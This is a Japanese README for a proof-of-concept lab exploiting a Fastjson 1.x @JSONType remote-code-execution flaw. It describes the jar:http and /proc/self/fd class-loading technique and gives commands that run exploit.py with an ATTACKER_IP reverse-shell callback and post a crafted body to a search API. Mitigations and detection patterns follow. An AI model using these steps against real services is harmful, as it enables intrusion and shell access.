★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 は、Fastjson 1.x(1.2.68 – 1.2.83)における**リモートコード実行(RCE)**の脆弱性です。 Fastjson が攻撃者制御の JSON をパースするとき、細工された
@type値はcheckAutoType内のクラスリソース検索に変換されます。Spring Boot の実行可能な fat-JAR では、クラスローダーがその名前をjar:http://URL として解決し、リモート JAR を取得(SSRF)してから、AutoType が無効であっても@JSONTypeアノテーションを持つクラスをロードします。 最新の JDK / Tomcat はjar:http://バイナリ名を拒否するため、信頼性の高い亜種は JAR を JVM キャッシュにシードし、jar:file:/proc/self/fd/N経由で再読み取りします。これによりクラスが定義され、静的初期化子が実行されてコード実行に至ります。 AutoType は無効のままであり、クラスパスガジェットは不要です。
| カテゴリ | バージョン |
|---|---|
| 影響あり | Fastjson 1.2.68 ≤ version ≤ 1.2.83 |
| 修正済み | Fastjson 2.x に移行(修正済みの 1.x リリースはなし) |
ラボのターゲットは公開ストアフロント(Northwind Store)で、その検索 API はリクエストボディを Fastjson でバインドします。すべて Fastjson の標準デフォルトです:SafeMode オフ、AutoType オフ、Spring Boot の fat-JAR としてパッケージ化されています。
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| 前提条件 | このラボでの状態 |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| Spring Boot 実行可能 fat-JAR | はい |
| 未認証の JSON パース経路 | POST /api/products/search |
| SafeMode / AutoType | デフォルト(両方オフ) |
攻撃者とターゲットは同じ Docker ブリッジネットワーク上で実行されるため、ターゲットはアウトバウンド接続として攻撃者に到達します(追加のポートは公開されません)。
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py はペイロード JAR をビルドし、それを配信し、リスナーを起動し、リクエストボディを出力します。必要なのはコールバックアドレスのみです。
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
出力されたボディを検索エンドポイント(Burp Repeater または curl)に貼り付けて送信します。検索リクエストは通常の機能であり、細工されているのはその JSON ボディのみです。
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
コードはサービスアカウントとして実行されます。取得したシェルを介してフラグを取得します:
whoami
com.alibaba:fastjson:1.2.83_noneautotype を実行する-Dfastjson.parser.safeMode=true で起動するjar:http または jar:file / /proc/self/fd パターンを含む JSON の @type 値